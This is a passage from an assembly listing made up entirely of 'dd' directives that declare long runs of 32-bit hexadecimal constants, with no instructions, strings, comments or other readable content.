0CC27917Ch, 0B96C0D52h dd 240814CBh, 118A36FBh, 608871ECh, 0C48894E7h, 384C72A4h dd 788C71F8h, 7C238CE8h, 736C0872h, 74102156h, 88A30C1Dh dd 8A52E6C0h, 0C63E6ADEh, 88928829h, 10CF723Ch, 544A0C8Ah dd 14211843h, 0FA697844h, 900C5439h, 0E2F1DCAEh, 4A2A8C25h dd 1C902021h, 7D1C4CA2h, 21384752h, 74BC9224h, 0B40D4867h dd 11E5F4C2h, 0BC644C7Ch, 63544F84h, 62ECB4F4h, 1074957Ch dd 5024C828h, 0BEA7E5E8h, 1563D89Fh, 88115AC8h, 453C9E72h dd 104A95F6h, 512CC830h, 7C240EBCh, 904A2152h, 0B150CA98h dd 9C3288C4h, 0D222E5Bh, 0D1F2D859h, 1098230Dh, 0D830CA58h dd 0A42250E4h, 9C7DF04Eh, 0E8D8578Ch, 2146983Ch, 0C387130h dd 48118534h, 143930A2h, 0F18E6C0Ch, 0C4854408h, 3A3C3240h dd 5D453F7Eh, 0AFE524AEh, 0F633F520h, 74FE3B3Bh, 3A36F1CBh dd 3976FF80h, 19679875h, 84388071h, 3906F6Ch, 7428701h dd 8559D88Bh, 0A193EEDBh, 1321B8A2h, 0A0ECA0F2h, 4CBE69Fh dd 0FC50C72Bh, 90D89F11h, 698B1036h, 0B9761EC3h, 687744A7h dd 0D1A2350h, 146B60EFh, 5D10AB12h, 0D1DD3C11h, 200E9654h dd 518B03A0h, 0C73A12F7h, 5BC69263h, 5D6819F7h, 0D095313Ah dd 56530107h, 0B832252Ah, 7BF8258Eh, 8CD8ADE7h, 0D264E6B5h dd 11AA49Ch, 7DE15B50h, 0C800057Ah, 3373EBFFh, 0A0B589C9h dd 0C08528h, 148A167Eh, 0AFA8031h, 0A057430h, 0A304750Dh dd 4100EF91h, 0C7CC83Bh, 57D233EAh, 8D182A3Bh, 804F34BDh dd 0C5325C3Ch, 7C3B193Bh, 4CC00133h, 0E740A05h, 40EFFB81h dd 890B7DEAh, 8300430Fh, 3B4204C7h, 0F1DC7CD0h, 5FC00CF9h dd 80175674h, 0D44F8B43h, 0B628BA54h, 6164B7C3h, 8244412h dd 0B9CA50BCh, 0A452840h, 788DABF3h, 7C033985h, 0DF8B531Fh dd 8A103B05h, 0B9200604h, 7F592C3Ah, 4C7F46h, 811C8918h dd 7EF73B4Bh, 3EA0E55Eh, 24699DC3h, 0F31D4004h, 610E3C20h dd 0A30B7C59h, 4077F7Ah, 0E883C028h, 6616AF60h, 0C119FB2h dd 9FB8D310h, 0B2D6F8D0h, 0BFC2AF9h, 9C0285A2h, 5002EFF4h dd 7E158E56h, 0F03925E2h, 8B4EC160h, 129DFE48h, 0CC5A7A7Eh dd 517F139Eh, 1E91C1C4h, 12072308h, 0BE391459h, 20629D7Bh dd 671FA004h, 0FAF455C3h, 8D4FAA84h, 0CE2BCA04h, 27E3281h dd 5B03C1E0h, 26BEC7F8h, 8D14952Ch, 0B34DFF72h, 701961D0h dd 49F85589h, 4D64984Dh, 475C152h, 0EB4E4FB0h, 22CCF886h dd 0C7032705h, 20B862C5h, 85564D01h, 895AB390h, 6805F6A3h dd 0DE501609h, 285646CEh, 321210C8h, 1F28A846h, 80088A40h dd 7F1F18F9h, 75090A05h, 0EB40030Fh, 720AEF1h, 191A8D48h dd 0C72D031h, 742E1D40h, 7C2180EBh, 122FE652h, 4D095056h dd 41367C74h, 2BEDDC68h, 86569798h, 0C66C49B7h, 0ED89523Fh dd 0F0BF1AD0h, 154CA43Bh dd 8B01C7A9h, 74EE3BE8h, 6E8D3164h, 86FCAC24h, 1590066Ch dd 9894B44Bh, 7C482DF8h, 0F381F38h, 23B05566h, 85716A9Dh dd 65B95341h, 71015099h, 55B7135Ah, 1B943A4Ah, 72C90F08h dd 66BCAD57h, 29683A02h, 0D93C66A9h, 20011C21h, 7784978Ah dd 5AB850E4h, 0DC942FC9h, 689999F8h, 0B9CD2ED0h, 0E180BFD8h dd 6A572D85h, 358B0F03h, 304248D5h, 802F6832h, 0F125F25Eh dd 2D4C905Ch, 78CE4CE8h, 0BCF3C8F0h, 1D1478A4h, 8B875E79h dd 0ABB7F0Dh, 4F3402A8h, 0D672D240h, 16B8195Fh, 0E965364Eh dd 60F326B8h, 13F1CC9Dh, 0ACEE0868h, 0ECA8B10h, 51C3FDFh dd 66A0431h, 0FE4A46A5h, 8B52DD5h, 4164C618h, 39C51107h dd 51FBF135h, 0AF0F74EBh, 75CD2212h, 2D734407h, 15E85D6Ch dd 0B1A09FD3h, 0B282F89Ch, 0CBD92DE2h, 0EBE120Dh, 6816FD20h dd 1BE6EE78h, 79511490h, 8608AE06h, 0E26CBDB0h, 0FE09E9B2h dd 280C860Fh, 50452223h, 34684421h, 0B14A3D4Fh, 2F190D5Ch dd 0E450CCBh, 476C8652h, 5410998Dh, 2FDC2BECh, 0A818C244h dd 9657575Fh, 7D893F2Eh, 6804BF95h, 24FEA410h, 0C7041957h dd 59FFB445h, 0ADD40E76h, 758A402Dh, 0A48CC8D8h, 1BE75097h dd 0FF199F7Dh, 89CC7BCCh, 12125274h, 65AAE25Eh, 2429C82Fh dd 1C21BB1Eh, 0F4297AEEh, 6CB0C83Eh, 0BF84C46Eh, 0FAA82F91h dd 40080B48h, 0D2BCAA94h, 0AE917F27h, 0AB51C011h, 6063DD6Ah dd 279A08A4h, 75840F28h, 7525E29Fh, 9AFC383Ah, 6A6D7460h dd 0E090CD20h, 0F0700027h, 8428BE90h, 0E0535DEEh, 0EBF310F5h dd 926B1426h, 0D3E8A849h, 436C8454h, 460C2217h, 0FF317D32h dd 81218E0Ah, 0C19EACD9h, 4BE0ED75h, 0AC7197Eh, 247C7C20h dd 0C1484C0h, 5F07A83Dh, 98D027F2h, 42D2C4Dh, 25BF1446h dd 0F221981h, 0FDD76698h, 0EAB50EAh, 0C408BC3h, 1086D87Bh dd 99580D4Fh, 0AC9856Ah, 0D1FF0274h, 214C5D0h, 89581087h dd 0DE4FA3DEh, 78E34EB8h, 0F35A1291h, 6DB8315Eh, 0F3F9B60Fh dd 5448F260h, 0F5F20A76h, 8BF10B90h, 96D379F0h, 4C3FE756h dd 47BCD3F9h, 0FA40CE9Ah, 1D4F7E01h, 75D14AE0h, 19F7E6E9h dd 2E348DDAh, 0B70F0054h, 71A9B83Ah, 75490342h, 4EB5FF6h dd 8508231Eh, 5745E46h, 0C10A5B94h, 2F25C8C6h, 0E9830B97h dd 9FAFE710h, 0EE8B7BFh, 6CD0F7B2h, 0E2944AFEh, 0FF6C1062h dd 4906C72Ah, 0D488F294h, 70BD8386h, 75051923h, 12741222h dd 1014201h, 886880B8h, 0F212F327h, 249735A0h, 2F98142Fh dd 5EFFCE5Eh, 1C1CCD9h, 4DEEB72Ah, 599570B9h, 8C68840Ch dd 0C6F9EDEEh, 0F1CF056Ah, 198D8D13h, 9451522Fh, 0C547D04Bh dd 0B0AC03A0h, 601946A2h, 86A5F311h, 0EF08BAD8h, 0B95E1864h dd 0B0890D04h, 0B8C51467h, 240459BBh, 22F0BFE2h, 0B41441EFh dd 1107EEFCh, 7E50F8B8h, 7655E6BCh, 0C44D33C0h, 631C812h dd 0F4902CCCh, 0F0941D51h, 0EC980751h, 49C2452h, 10A408A0h dd 0A6AC3FA8h, 0D8433A5Dh, 0F4162082h, 3081F05Ah, 746E7530h dd 68D80B5Eh, 40054C53h, 0D5CD592Fh, 0B3571208h, 50539722h dd 296BB2A4h, 65BFDC1Ch, 81089EDAh, 804D8D1Fh, 88089051h dd 2561B4Bh, 0E4EC50DAh, 68950891h, 0E892DE5Fh, 46EF6071h dd 7360D82Dh, 0BC683775h, 601FEE50h, 0CB2FFC45h, 4F1142A4h dd 0B5E0DBCDh, 0F279D364h, 4F0A4DB3h, 0D14CB5DDh, 4551B048h dd 100EBFBCh, 0F5400163h, 73054D0h, 103143D4h, 0DCC432D8h dd 0A2E03033h, 0E40444F5h, 9E61A343h, 8DA93705h, 1DA5EC0Eh dd 2BEC0C45h, 0F0B2D473h, 0C296D02Ch, 0C6559AEEh, 43AA96E3h dd 3B7D5AECh, 10489089h, 86A050F5h, 7F24B228h, 8E639D03h dd 3A2B344Ch, 3768587Dh, 8D00CBFh, 95DD8D0Fh, 0E1755A24h dd 1D5E953Bh, 6022B64Ch, 87F41D90h, 64D2C383h, 0FB32A6A8h dd 0D2DED968h, 0B535430Ah, 0F32221FEh, 88E3239Dh, 259FDE35h dd 0B042D6A1h, 5A2CE5A9h, 54B0C8B1h, 23848B90h, 0B2E76295h dd 0E61646D1h, 0D2099602h, 1D10BB51h, 88408022h, 25109985h dd 0E91BE16h, 0C2DB62ADh, 6CD786CFh, 27FAAE35h, 0A373EE98h dd 17265345h, 60704546h, 6F9DC2Ch, 95279818h, 0A13DF9E5h dd 0D828C4FCh, 1D708920h, 0D9B64DD6h, 4B8BE79Dh, 338408F1h dd 42ABB9D2h, 0BBF1F7DFh, 8101A661h, 0BFF38B1Dh, 86640E10h dd 3C6A2EEFh, 852B163Fh, 0F73981EFh, 9EF2F9F6h, 0F50FC633h dd 12C2AD5Dh, 50080EB3h, 0EC51D7Fh, 0BFD75CBEh, 0CA6045CDh dd 870C5968h, 0CE326A13h, 9B245BB1h, 40BECBD0h, 0E40F7042h dd 67685031h, 59FA728Bh, 229956D8h, 58C07A2Bh, 5256D71Bh dd 0F614AE52h, 85001A60h, 72D777FFh, 0DE763B04h, 64C9D141h dd 0F5819578h, 0B0CA8BE0h, 85F0FD16h, 775804C9h, 8105725Bh dd 70735043h, 24DF4B7Dh, 0BD7722B3h, 91471008h, 443B8842h dd 0C4324837h, 2426222Bh, 111B6221h, 3119121Eh, 4A0A080Bh dd 80BDA173h, 1BC62B20h, 2FC303D1h, 36FBD713h, 0DC128D2Ch dd 0FFA262BFh, 0FC5B4112h, 1E9A4A38h, 2CB92DECh, 0BD8640AFh dd 425C064h, 9D395275h, 913686Fh, 9F3F4626h, 6712A0E3h dd 4F9CF074h, 7088B002h, 0FC7E84A8h, 0BAEB29CEh, 0A2E012Ch dd 25900975h, 0C155886Ch, 1745755Ah, 204345A8h, 3375055Bh dd 642C818Eh, 548C2908h, 84601201h, 2321746h, 74255821h dd 70547D08h, 38252F75h, 8ACC2E9Dh, 820D027h, 0FD52C997h dd 2FD45346h, 0B465F04Ch, 0F29514A0h, 6678C36Dh, 314848A1h dd 0CA3F3CC3h, 0FD257CE8h, 0B2C6D87Eh, 0F4B0CE13h, 0FD7C010Bh dd 12ADA165h, 0BAD5F2Eh, 0DE840D74h, 0FDB044F4h, 0CDD0D75Ch dd 0F6C53F60h, 0F86528BBh, 8D6607B0h, 9D23040Bh, 0EF65972Dh dd 5EB30D0h, 0C7D96874h, 0B13728EAh, 8297115Ah, 0A2D9FB35h dd 0E85B644Fh, 0F8221EA2h, 60466A26h, 535D2418h, 950948BEh dd 0E42C4A93h, 0C8B0911Ch, 11174818h, 206A12E0h, 0EAD290A8h dd 1016B539h, 22DC45A5h, 0E4431456h, 773E429Eh, 1CD061A4h dd 0BDA9DFE7h, 93E899C8h, 9266D6CFh, 2168430Ch, 0E4762564h dd 524D4441h, 75EFFD96h, 2FE0E6A2h, 25E472ABh, 9E7140C4h dd 0BE08696Bh, 7F950E78h, 73178E93h, 77D73D4Eh, 284D7507h dd 95561C08h, 0E189D7E4h, 8A6F3C71h, 0A491613h, 5959A711h dd 4292F6C5h, 1AE21301h, 46A42750h, 5F1E25E4h, 0E0BE1885h dd 45560A22h, 0FF74884Eh, 0CB3C0FA3h, 0A5784DE2h, 0CD08A4DFh dd 78C0015Eh, 1C8B0EF0h, 0C51A14Eh, 571120B6h, 11D5054h dd 8A428A2Ch, 94A1F697h, 0E32ACE09h, 577D8787h, 1210B2EEh dd 413CCB24h, 0C754477Dh, 0F1045F27h, 1117570Ah, 8E835F36h dd 0C4899F8h, 6605933Ch, 8028F981h, 0B70F3E00h, 3D18407Eh dd 749C0884h, 67C9EE2Eh, 0E2230F09h, 18270A7Dh, 250B4CE2h dd 2B67F10Dh, 0C5EB5F73h, 0A9509EFh, 60B488Fh, 7C3DA7DEh dd 0A95E013Eh, 9EA41CE4h, 4247F925h, 562503BCh, 0BD09C252h dd 4A43E468h, 4BF3B344h, 709AAFA8h, 2094D70h, 0A99C9889h dd 7F1E5D61h, 1C5F7535h, 175406A9h, 6800FB44h, 6595F228h dd 801126B5h, 0DC7D390Ch, 57522075h, 0D8E3401Ch, 99484DC9h dd 5C45B550h, 0E9B773FCh, 758998C5h, 0E26F46C8h, 69709457h dd 1BB822A8h, 0FA509A51h, 5D7C8949h, 73ED2ADFh, 79563E28h dd 0F3F1F085h, 0AA779014h, 965564DAh, 556F81E0h, 85C8684Ch dd 8F5ECBB6h, 95F2DA67h dd 0F195E47Ch, 25D0EFB8h, 0C8FFD957h, 358BD087h, 2CB37796h dd 547D9AE8h, 0B21E2CCFh, 45092B0Ah, 23B1F87h, 94870FD0h dd 1C96F2FCh, 5C6EB42h, 52625898h, 0AB404B45h, 0A3660AD4h dd 0A54769Ah, 88079C1Dh, 48B29E3Dh, 888020A0h, 14A4A11Dh dd 4B74A244h, 2DBE230h, 0E3C1D88Bh, 30AA408h, 6418483Bh dd 5B4BA494h, 5AEF3E08h, 0A314BAC7h, 0B7F14A1Bh, 11A7A8E1h dd 54382553h, 0F90AF79Ah, 13AC1588h, 8EAD4354h, 894A10F0h dd 9130A235h, 22B3AE56h, 108AF3B2h, 5128B015h, 1A4616FFh dd 27B46852h, 7C6929F1h, 0FF57941Ch, 26FE69DDh, 78154258h dd 89CD32DDh, 0E0DA0933h, 0A9704A1Dh, 8B14AC16h, 5F645241h dd 70682844h, 0E856DD95h, 124B379Bh, 0E4502A93h, 60D57574h dd 0C06BB204h, 0BC123F0h, 75F70AE8h, 140A1A74h, 5D7A8351h dd 0D591F246h, 1C3C0444h, 219D5C85h, 1032056h, 882E7919h dd 71BC6449h, 42A6895Fh, 72A062E2h, 50719A75h, 0C1809100h dd 2ADB33F0h, 11B04B59h, 8A98185Ch, 6269750h, 93A69383h dd 0EB21721h, 94BE90BCh, 4293B3F2h, 0C109D85Dh, 0BE4CBC15h dd 0FEC088D4h, 0DFBC4686h, 79D0E4A1h, 0B60CCF92h, 1679593Fh dd 41BD03EBh, 0D1621C25h, 74A5AE53h, 0DCB80E08h, 8749BC73h dd 5C4B4539h, 33C8BC75h, 106DC839h, 0AD012E0Ah, 267EC05Dh dd 61B21125h, 88AE506Ah, 4FFEFCE4h, 7C8D72C4h, 80CAC4ADh dd 0C00681FFh, 0F55DA7Ch, 0CE4787B9h, 0E4575C88h, 218C8E53h dd 1CCCD910h, 0B089235Eh, 61755127h, 0C9116A59h, 0F72E02h dd 333CA34Ch, 21A3B2DEh, 0BA85C757h, 6754A790h, 9C4CF9D2h dd 3C377575h, 0AC90C7B2h, 4CB51186h, 94F3E0FBh, 32D4D33Fh dd 12E419CCh, 0CCDEB1D0h, 91877E1Bh, 0CA56C8E0h, 20A36AA8h dd 0E08699Dh, 1C50B829h, 0BA9B3490h, 0DFFA1BEh, 0BE3C5242h dd 0DA9F5D6Ch, 0C62A7F12h, 0B812B2ABh, 0C0A8785Ch, 5FF609F1h dd 0A6AE702h, 202FEB5Fh, 75F8D888h, 0CC2443DEh, 7E0BCEACh dd 0A808B61Ah, 1288D4B9h, 46EF3594h, 6BE67CD4h, 6AE74DECh dd 6A55EE01h, 0E63A5E0Bh, 92E4540h, 0D43E854Bh, 0D34DC22Bh dd 53DD5BF0h, 8A412076h, 4E8F5C6Dh, 6711CE2Bh, 5CAC5FBCh dd 0EBF2A091h, 0C23893A1h, 0F215F2C8h, 811CA267h, 71041489h dd 0B1124CCh, 0EA7C85B9h, 9FDECC2h, 80C71300h, 0E69D0210h dd 0CCBE8A92h, 7705226h, 52FD527Eh, 86A35115h, 0FBEC2162h dd 45346802h, 8433A8D3h, 0F875209Dh, 651C5652h, 3D16F4F0h dd 0FDEC3F61h, 0FB437E1Ah, 0D53CF089h, 9F5E5F29h, 7D065489h dd 0A47B70A9h, 0F0732F69h, 2A28144Fh, 91FDEEB2h, 0CAFF01Ch dd 3ACA4558h, 7E47B6FCh, 28E5AC19h, 90BF300Ch, 0ACB58D1Dh dd 8BD4F962h, 0EB9ED5DFh, 60CAC91h, 274DB674h, 0F4D151FCh dd 77FC5016h, 0B1C683C7h, 59D7754Bh, 10790331h, 42363425h dd 251C33FDh, 71EC6422h, 1E812486h, 0F2260AC0h, 570C1D0Eh dd 0BD9DC490h, 4CD15A74h, 0CC682474h, 1813028Ch, 0EBF7909Dh dd 0B117D666h, 120B1525h, 0FA31FB70h, 8D6FE150h, 38927B0Ch dd 13637199h, 790B1E5Fh, 0E58AFEAFh, 5588FFA6h, 0E6C7939h dd 85A9EEFDh, 0E174A58h, 82C8DB33h, 888DC34Dh, 0EEB44C9Dh dd 7C29608Ah, 2680D8Dh, 8C6E934Dh, 0AB4034AFh, 4B55298Ch dd 57070735h, 0F74C1B53h, 0B85C9CA4h, 0FF4A048h, 65A0E984h dd 0C84D2DA0h, 5336950Ch, 5D13504Ah, 3A6493CAh, 1B22521Eh dd 8BED5FB0h, 4D75443Fh, 0BF921A10h, 0A528AF49h, 0EFAB21Fh dd 0E0C9C605h, 3FD9A0ECh, 888E229h, 5D0CE47Dh, 63E832E6h dd 6E90880h, 50EA1932h, 0C12492F0h, 64C240A3h, 2ACE6659h dd 0D8313AD4h, 2D90850h, 0DACC6E32h, 5066C0E8h, 0CB06DE5Fh dd 4751ECD3h, 3F5CF813h, 0AD0BF127h, 99645458h, 31B8C00Eh dd 3603D0C6h, 13F28B13h, 0A832D2F9h, 0ECCEDC67h, 2D03E921h dd 0F1A6B351h, 0E68CC71h, 0E7C1F8C1h, 0F50B0C10h, 0F829E69h dd 92EBC0B7h, 5EF2B248h, 0CC3FE2F1h, 14646AA1h, 0F004EC24h dd 8CE5D05Fh, 90505D88h, 64291A2h, 0BDF692C9h, 0E08825BBh dd 92206ABFh, 758AA2D6h, 0C83544C5h, 6C2902A9h, 8A1D4811h dd 0C0E346Ah, 0DC77933Fh, 48E046C8h, 0B60F934h, 0F946A15Ah dd 0BA3C2A74h, 4246A644h, 56EAC828h, 9D284A91h, 3A7E4ABFh dd 79734A2Dh, 1276232h, 479CBDC2h, 3BFC8097h, 273C7FC6h dd 0A1AC8C0Fh, 20FBF81Ah, 2E4D733Eh, 0B2531630h, 0C30488Ah dd 0F3A0688Bh, 0D3171697h, 0E5CBBC22h, 5D400EEBh, 0AC2261B5h dd 740E5E66h, 0C38B0B6Dh, 96175B5Fh, 0F8ACF090h, 2E434B6h dd 0A8085709h, 32840BB3h, 0A32F3051h, 2C87524Bh, 0DAAB1CBEh dd 0FF4BAA64h, 941690CAh, 6AAB7003h, 0A9B15965h, 0C2FE6C08h dd 89360190h, 0B0625969h, 3FCD92h, 59365615h, 286C16A1h dd 0AF3E93F0h, 0F1FC6C11h, 7E1AFE6Ch, 98A8FC42h, 25986BE1h dd 0A5832759h, 563CDD6Bh, 0A8659204h, 19BB260Bh, 9A600686h dd 7D8D0E5Ah, 7C8D89ACh, 80513037h, 9C137C82h, 8855CC84h dd 8458C1Ah, 0C900E88h, 18119462h, 21861698h, 0A088299Ch dd 27EAA43Ah, 0ABB0B1E0h, 0ED48ECCh, 0B806CCB4h, 20E0BC2Eh dd 2017638Ah, 0C798C48Eh, 4D1B3F62h, 12D56BCCh, 0EFABD80Ch dd 55570D22h, 2195EBCEh, 732815C5h, 98885279h, 53E185A5h dd 8E3C1DC9h, 92E6F4C9h, 56728D65h, 18A116D4h, 0C71767ACh dd 0B2F20FBEh, 0EB3D89EFh, 5B9D48C9h, 1A90D725h, 9A6F6808h dd 0FB35733Bh, 0D1792787h, 31583887h, 1F6AF6A7h, 2F2B52C8h dd 0C40E11Ch, 0FBC2E1CFh, 0CB8B0904h, 25F4CDC8h, 0C1024FDCh dd 870B18E2h, 1ADA55B8h, 0AC1A2353h, 1FA4B906h, 728B9864h dd 0C28D8DCh, 30C804DDh, 12A469D4h, 9216F3E0h, 95446101h dd 7D4850B0h, 0E239CB56h, 0DE58B916h, 29E429CAh, 2930E10h dd 95848AE5h, 881BA244h, 25FDE545h, 0E990E840h, 0C4D38DECh dd 0DAE66B2Ch, 4D69501Bh, 0D06862F8h, 6B5CD3DEh, 0BC2FBCF6h dd 40685299h, 0D99D5157h, 25C54B21h, 72A25625h, 1C04BE49h dd 62A54BB9h, 90396C69h, 0F523681Dh, 7B940894h, 0ABA5A6B8h dd 5CEB4127h, 3D5C58BCh, 21108EABh, 6813FB6Ch, 21CD3FF0h dd 0FE884EFBh, 0FB6CFDC4h, 70B58D85h, 0BE7F2835h, 6E395CC4h dd 0CA46E020h, 506FC021h, 0B928A3F2h, 73C31412h, 6C144AA8h dd 0AC81AA70h, 0ED16CC02h, 0D024CE12h, 0D411D248h, 0D610D521h dd 0C496DC27h, 0EAB8F8A6h, 14A4590h, 182993C9h, 56786880h dd 41C91234h, 0FEF846ECh, 94F44B64h, 1FC7BF97h, 5918DEEBh dd 0F4989809h, 0FE02F9A8h, 5C683454h, 3F1C2E3Fh, 68388810h dd 254D5454h, 4903886Ch, 0EA82D114h, 0DA4F0E0Eh, 0E280D281h dd 88D1F00Eh, 0D9C557Ch, 52F8864Ch, 0FACBAC50h, 0C1A2EFDEh dd 238FE4Eh, 0BC9085E4h, 0B8421822h, 0A081E4C9h, 0F755135Eh dd 0CAC47033h, 0FC6F27C8h, 0EC11063Dh, 0B28DF0ECh, 0DC02D820h dd 0D9037156h, 0ECC40FD8h, 0FC207E56h, 3456CC29h, 0F4035972h dd 0D246D657h, 8FA803C8h, 0F8E7E090h, 0E82CE464h, 0C84E84B8h dd 64CA0448h, 62C408E4h, 233CB85Ah, 0E0F1F428h, 0D4C8B70Fh dd 0C72C39C9h, 6598808h, 57AD2011h, 13F75EA6h, 0F8EB4447h dd 0C6E6C701h, 0C84AC47Eh, 98D10A0h, 0C72B093Ch, 0F7910A54h dd 0BB03B9Bh, 886D028Ah, 8922A5Ah, 0CEDC0203h, 1155E681h dd 0B707F90Bh, 12FEEE5Eh dd 890CA8F8h, 565AC55Dh, 9B2538FDh, 7E536B89h, 5DE72C76h dd 7EC48152h, 71BBA565h, 0FA17F4AAh, 38CCB819h, 51B3936Fh dd 572CA358h, 0D6FF8B00h, 0CB9A7296h, 0D969D094h, 7A6C2563h dd 578BF12h, 96A7544h, 0CE5FC8BAh, 12523E4Fh, 0E68ACE16h dd 5A0BE09h, 0B294874Eh, 907F85D1h, 0C2870FE0h, 0F0FC0DD2h dd 75258020h, 11E45959h, 56982DECh, 11297A1Ch, 325AE354h dd 556B3A8Ch, 89EDE05h, 9C459D05h, 0AC34F548h, 2D512F58h dd 9813EBE2h, 437AB816h, 0F0DD2542h, 0F227D29Ah, 0F4ECD9BFh dd 76A8AB20h, 0C563C24h, 0AC2D97D8h, 8BE5ACE3h, 39AE279Ah dd 0D32CB013h, 85C9B88Eh, 48E08312h, 66BA40B2h, 8C9B475h dd 0B61D49B5h, 2ABC3695h, 0C409C08Ah, 499435C2h, 0DC80833h dd 2566CC86h, 0C6160E8h, 0CE0DA4BCh, 20B34718h, 1132C228h dd 0EABC0E8Ah, 0DE2C5718h, 7D33D0B9h, 31D2A978h, 881DD409h dd 12D73902h, 32EA9B5Ch, 0B6CCA814h, 0B8641ED9h, 0FC58577Ah dd 687D987Bh, 48054F8Ch, 88865832h, 7C0D5C9Dh, 65D44C6h dd 0BF0B5395h, 26B5E3Fh, 81581632h, 502C15BCh, 57127451h dd 2334B345h, 98685146h, 9A68849Dh, 0D2F5CB39h, 7588BDE9h dd 5681020Dh, 3297BF72h, 6B7FC21Eh, 22D169E4h, 0FC93C4DBh dd 14219F8Bh, 95B8403Dh, 875707A5h, 0ACF2C454h, 235D90Ah dd 24D48604h, 1082E990h, 82C7E040h, 461ABA95h, 676020EAh dd 0A5021421h, 0AC5C0A44h, 0E0F2F535h, 0EAD795B4h, 0D254A168h dd 89C21675h, 0CFB02B1Fh, 15DB9F03h, 1A75F441h, 0E9AC8698h dd 0F656FC68h, 33591F54h, 63C6D4F9h, 4D8D6E0Bh, 495171ECh dd 409CB658h, 91555B6Bh, 0A468C60Eh, 1BEB2573h, 672DBED6h dd 1D201503h, 61A15488h, 22FBC525h, 0ED574F5Bh, 79FA9378h dd 0B2A12A72h, 0E0BC286Ah, 7FB992B5h, 0A28603C6h, 8DD81842h dd 1191BD39h, 1244E225h, 10D6611Dh, 8C2F2026h, 1D98D764h dd 0F44BE199h, 0FC4D2D43h, 240D5AA7h, 0CBCD010Ch, 0E53B6A07h dd 93748259h, 0BADBE25h, 3105EB12h, 633D3926h, 91522180h dd 57CC10F0h, 381153F4h, 7CB35380h, 0D122D264h, 4F96D011h dd 24797DACh, 76B3AC33h, 5C65661h, 286E7CFDh, 0A336667Ch dd 92491BBAh, 0BC0532F4h, 6BDC0117h, 2213BE9Bh, 8064C04Eh dd 114CC10Eh, 0D68AC22Bh, 0B8C4C741h, 0C885E047h, 0F2853C0Bh dd 43506408h, 0D3E250D2h, 0DB102A92h, 9B3027E0h, 28A60EEBh dd 7E236DBBh, 1669CE1Ah, 8682D2Ah, 15345DCCh, 5BADDDCCh dd 0A38A04C8h, 0F7E02AD0h, 7E6852FBh, 5A1EB7D4h, 5628DC42h dd 0A369D2E7h, 0C1ACD624h, 292156D3h, 23934FFCh, 2DD06FD8h dd 519AA986h, 8FDE4B01h, 69892121h, 0D8A728F6h, 9A7E59C6h dd 93C65B42h, 0EEAAF11Bh, 1BF6C2C2h, 84492DA4h, 73CAF5AAh dd 2D9D1889h, 660BDE4Bh, 564E95C3h, 5204A674h, 0EB04F4F0h dd 0FBCBE8ACh, 1CC86D4Ah, 0FD4AF00Eh, 653E30DAh, 10E08E4Eh dd 88EFF730h, 98FEA510h, 147D1CBAh, 7575B928h, 0C468599Fh dd 0FD8CBAB8h, 0B84C4F65h, 34FFB51Ch, 0A937C743h, 0D4A752F1h dd 93DD52D2h, 0C37A4602h, 0F229AC4Fh, 45CE7D6Ah, 428D2AD7h dd 3E49B13Eh, 0F35F37B3h, 66134E52h, 588E7BECh, 0B0B6CFAEh dd 8B74044Eh, 739F4DF6h, 9D11E440h, 7411181Ah, 8A6039Dh dd 81C99CC7h, 0D9FABDAFh, 7CA1074Fh, 4974E32Eh, 0C4A12040h dd 0A1B67494h, 6D853B5Dh, 0CB297F8h, 403F6E55h, 18BE5058h dd 1A7FD972h, 0D1CA6B8Ch, 0A3020EF3h, 0EE428148h, 2570B3CDh dd 290BE94h, 0D6196A24h, 0ECBE5538h, 0D7A69D89h, 12844D34h dd 0FCF4EF37h, 2164C749h, 4B3D2099h, 15385CB2h, 897C0A50h dd 2A450816h, 21071780h, 8C883588h, 51906250h, 86589418h dd 886E9821h, 0A062719Ch, 87A41877h, 89A82186h, 628BAC88h dd 0B4188FB0h, 100142BBh, 0BCCEBDB8h, 0C0410408h, 0C4080599h dd 0C808DC43h, 0CC4106B8h, 0D0080CEAh, 40D3D21h, 201388D4h dd 841A0BD8h, 1F40DC10h, 4490E084h, 5FEAABF3h, 3E40A82h dd 25FAA260h, 0D2F14B72h, 5EE00812h, 2BFF8664h, 63428825h dd 9105BC8Dh, 84ED66F2h, 9BBA0855h, 0E9853984h, 92D35B27h dd 0AE50C4E4h, 5840A410h, 50917904h, 7967A53Dh, 2CF816EBh dd 5D7C39CBh, 8B300CF6h, 8907D44Dh, 5E0D4884h, 870EF992h dd 0BF927C70h, 6893494Ch, 5705C9E6h, 0D64D9C2Bh, 5C74A3D2h dd 0C6E69D17h, 0C8F877Eh, 0EBADF277h, 15F0D25Bh, 0D138CEFCh dd 0F04E933Ch, 0EBCF35E9h, 53323213h, 1EAFA053h, 0C889B289h dd 1C42F8F6h, 9043787Ch, 1DE84A2Dh, 70650CF3h, 34A0BE5Eh dd 10A005C6h, 0F0B95645h, 26F11AB2h, 0E9440E06h, 6A4EAA08h dd 84F1B7Bh, 0ECA36678h, 943C0EA1h, 4F0CF00Dh, 4532C236h dd 960C7EEAh, 0A1750FEEh, 0A214FE8Dh, 905942Eh, 7FE0C108h dd 0EBCE5FAEh, 0CA14C572h, 80F410CFh, 0B7510889h, 1BF8B03Eh dd 56091D88h, 56195F81h, 0A20AA853h, 0D2B5441Dh, 0E7C12979h dd 3104390h, 575457FAh, 450CA367h, 0B086BA0h, 240BAF56h dd 6A60810Fh, 0E44A214h, 0A1F05BF0h, 99EA048Ch, 7410E93h dd 0C1BEFEA3h, 64243D11h, 0E35028CCh, 0F70D2935h, 2AA31488h dd 25A12125h, 1B109106h, 145D0265h, 0D1123A4Fh, 48EB9550h dd 39CC2F05h, 2F247514h, 32FB6956h, 0A175FC4Ah, 20D2D193h dd 4A095DA4h, 0EBC38302h, 115E421Fh, 569F1024h, 7FA4A353h dd 0DD570548h, 0CF8552B8h, 0BE59856Ah, 2CBF5305h, 4CF2C462h dd 1D0C685Eh, 0A5F304E3h, 28B384BEh, 1295569Ah, 90635DC8h dd 11AD3495h, 27551229h, 0F0301CA2h, 90D0A468h, 50285CC6h dd 0C90C352Eh, 3CF9C0ECh, 95F4931h, 0A9238C0Fh, 93AC4EDAh dd 4F5C975h, 0CAAB1066h, 8E671715h, 92B88009h, 0A6E757BBh dd 3AAE85ACh, 0AB886889h, 473F8992h, 0C4331F63h, 0D3C558BEh dd 1E033E28h, 18468D36h, 68543C50h, 0D8DE4AE9h, 26457552h dd 3AEA0192h, 0FC8468A2h, 4EABC613h, 0FEE94738h, 7CEC225Dh dd 0E4147FB6h, 0BD00789Fh, 9A0EE292h, 4CBB1AB1h, 499177CDh dd 9085E9BEh, 12023BE1h, 838D7F6Ah, 